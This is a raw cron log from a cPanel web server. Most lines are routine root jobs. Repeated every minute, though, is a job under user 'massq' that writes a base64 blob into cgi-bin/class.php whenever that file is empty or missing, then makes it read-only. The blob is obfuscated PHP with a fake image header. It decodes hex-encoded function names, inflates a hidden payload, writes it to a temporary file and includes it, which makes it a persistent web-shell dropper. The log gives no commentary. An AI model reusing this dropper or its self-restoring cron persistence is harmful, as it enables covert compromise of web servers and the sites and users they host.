Nov 14 10:39:01 server CROND[4528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:39:01 server CROND[4529]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 10:40:01 server CROND[4722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:40:01 server CROND[4723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 10:40:01 server CROND[4724]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:40:01 server CROND[4725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:41:01 server CROND[5433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:42:01 server CROND[6252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:42:01 server CROND[6253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 10:43:01 server CROND[6944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:44:01 server CROND[7698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:45:01 server CROND[8458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:45:01 server CROND[8459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:45:01 server CROND[8460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:46:01 server CROND[9421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:47:01 server CROND[10172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:48:01 server CROND[11053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:49:01 server CROND[11836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:50:01 server CROND[12315]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:50:01 server CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 10:50:01 server CROND[12316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:50:01 server CROND[12318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:50:01 server CROND[12319]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 10:51:01 server CROND[12704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
